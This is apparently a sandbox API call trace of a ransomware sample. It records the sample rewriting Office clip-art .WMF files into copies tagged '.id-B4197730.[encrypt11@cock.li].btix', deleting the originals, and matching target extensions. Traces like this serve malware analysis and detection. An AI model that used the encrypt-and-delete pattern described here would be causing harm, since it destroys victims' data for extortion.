ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.536] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.536] SetEndOfFile (hFile=0x324) returned 1 [0052.536] CloseHandle (hObject=0x324) returned 1 [0052.537] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.537] SetEndOfFile (hFile=0x358) returned 1 [0052.537] CloseHandle (hObject=0x358) returned 1 [0052.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0052.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.538] lstrlenW (lpString=".doc") returned 4 [0052.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.538] lstrlenW (lpString=".docx") returned 5 [0052.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.538] lstrlenW (lpString=".pdf") returned 4 [0052.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.538] lstrlenW (lpString=".xls") returned 4 [0052.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.538] lstrlenW (lpString=".xlsx") returned 5 [0052.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.538] lstrlenW (lpString=".ppt") returned 4 [0052.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.538] lstrlenW (lpString=".zip") returned 4 [0052.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.539] lstrlenW (lpString=".rar") returned 4 [0052.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.539] lstrlenW (lpString=".bz2") returned 4 [0052.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.539] lstrlenW (lpString=".7z") returned 3 [0052.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.539] lstrlenW (lpString=".dbf") returned 4 [0052.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.539] lstrlenW (lpString=".1cd") returned 4 [0052.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0052.539] lstrlenW (lpString=".jpg") returned 4 [0052.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.539] GetLastError () returned 0x0 [0052.539] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0052.604] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xca0, lpOverlapped=0x0) returned 1 [0052.604] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.604] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.604] SetEndOfFile (hFile=0x324) returned 1 [0052.655] CloseHandle (hObject=0x324) returned 1 [0052.656] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.656] SetEndOfFile (hFile=0x358) returned 1 [0052.656] CloseHandle (hObject=0x358) returned 1 [0052.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0052.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.657] lstrlenW (lpString=".doc") returned 4 [0052.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.657] lstrlenW (lpString=".docx") returned 5 [0052.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.657] lstrlenW (lpString=".pdf") returned 4 [0052.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.657] lstrlenW (lpString=".xls") returned 4 [0052.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.658] lstrlenW (lpString=".xlsx") returned 5 [0052.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.658] lstrlenW (lpString=".ppt") returned 4 [0052.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.658] lstrlenW (lpString=".zip") returned 4 [0052.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.658] lstrlenW (lpString=".rar") returned 4 [0052.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.658] lstrlenW (lpString=".bz2") returned 4 [0052.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.658] lstrlenW (lpString=".7z") returned 3 [0052.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.658] lstrlenW (lpString=".dbf") returned 4 [0052.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.658] lstrlenW (lpString=".1cd") returned 4 [0052.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0052.658] lstrlenW (lpString=".jpg") returned 4 [0052.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.659] GetLastError () returned 0x0 [0052.659] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x138c, lpOverlapped=0x0) returned 1 [0052.740] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1390, lpOverlapped=0x0) returned 1 [0052.741] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.741] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.741] SetEndOfFile (hFile=0x324) returned 1 [0052.741] CloseHandle (hObject=0x324) returned 1 [0052.742] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.742] SetEndOfFile (hFile=0x358) returned 1 [0052.743] CloseHandle (hObject=0x358) returned 1 [0052.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0052.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.743] lstrlenW (lpString=".doc") returned 4 [0052.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString=".docx") returned 5 [0052.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.744] lstrlenW (lpString=".pdf") returned 4 [0052.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString=".xls") returned 4 [0052.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.744] lstrlenW (lpString=".xlsx") returned 5 [0052.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.744] lstrlenW (lpString=".ppt") returned 4 [0052.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.744] lstrlenW (lpString=".zip") returned 4 [0052.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.744] lstrlenW (lpString=".rar") returned 4 [0052.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString=".bz2") returned 4 [0052.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString=".7z") returned 3 [0052.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.744] lstrlenW (lpString=".dbf") returned 4 [0052.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.744] lstrlenW (lpString=".1cd") returned 4 [0052.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0052.744] lstrlenW (lpString=".jpg") returned 4 [0052.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.745] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.745] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.745] GetLastError () returned 0x0 [0052.745] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0052.810] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0052.811] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.811] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.811] SetEndOfFile (hFile=0x324) returned 1 [0052.812] CloseHandle (hObject=0x324) returned 1 [0052.812] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.812] SetEndOfFile (hFile=0x358) returned 1 [0052.813] CloseHandle (hObject=0x358) returned 1 [0052.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0052.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.814] lstrlenW (lpString=".doc") returned 4 [0052.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString=".docx") returned 5 [0052.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.814] lstrlenW (lpString=".pdf") returned 4 [0052.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString=".xls") returned 4 [0052.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.814] lstrlenW (lpString=".xlsx") returned 5 [0052.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.814] lstrlenW (lpString=".ppt") returned 4 [0052.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.814] lstrlenW (lpString=".zip") returned 4 [0052.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.814] lstrlenW (lpString=".rar") returned 4 [0052.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString=".bz2") returned 4 [0052.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString=".7z") returned 3 [0052.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.814] lstrlenW (lpString=".dbf") returned 4 [0052.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.814] lstrlenW (lpString=".1cd") returned 4 [0052.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0052.814] lstrlenW (lpString=".jpg") returned 4 [0052.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.260] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.261] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.593] GetLastError () returned 0x0 [0055.593] ReadFile (in: hFile=0x34c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4354, lpOverlapped=0x0) returned 1 [0055.715] WriteFile (in: hFile=0x2d8, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4360, lpOverlapped=0x0) returned 1 [0055.716] ReadFile (in: hFile=0x34c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.716] WriteFile (in: hFile=0x2d8, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.716] SetEndOfFile (hFile=0x2d8) returned 1 [0055.716] CloseHandle (hObject=0x2d8) returned 1 [0055.720] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.720] SetEndOfFile (hFile=0x34c) returned 1 [0055.721] CloseHandle (hObject=0x34c) returned 1 [0055.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0055.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.723] lstrlenW (lpString=".doc") returned 4 [0055.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.723] lstrlenW (lpString=".docx") returned 5 [0055.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.723] lstrlenW (lpString=".pdf") returned 4 [0055.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.723] lstrlenW (lpString=".xls") returned 4 [0055.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.723] lstrlenW (lpString=".xlsx") returned 5 [0055.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.723] lstrlenW (lpString=".ppt") returned 4 [0055.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.724] lstrlenW (lpString=".zip") returned 4 [0055.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.724] lstrlenW (lpString=".rar") returned 4 [0055.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.724] lstrlenW (lpString=".bz2") returned 4 [0055.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.724] lstrlenW (lpString=".7z") returned 3 [0055.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.724] lstrlenW (lpString=".dbf") returned 4 [0055.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.724] lstrlenW (lpString=".1cd") returned 4 [0055.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0055.724] lstrlenW (lpString=".jpg") returned 4 [0055.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.728] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=4924) returned 1 [0055.728] CloseHandle (hObject=0x2d8) returned 1 [0055.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0055.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.728] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.728] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.730] GetLastError () returned 0x0 [0055.730] ReadFile (in: hFile=0x2d8, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x133c, lpOverlapped=0x0) returned 1 [0055.925] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1340, lpOverlapped=0x0) returned 1 [0055.926] ReadFile (in: hFile=0x2d8, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.926] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.926] SetEndOfFile (hFile=0x36c) returned 1 [0055.927] CloseHandle (hObject=0x36c) returned 1 [0055.927] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.927] SetEndOfFile (hFile=0x2d8) returned 1 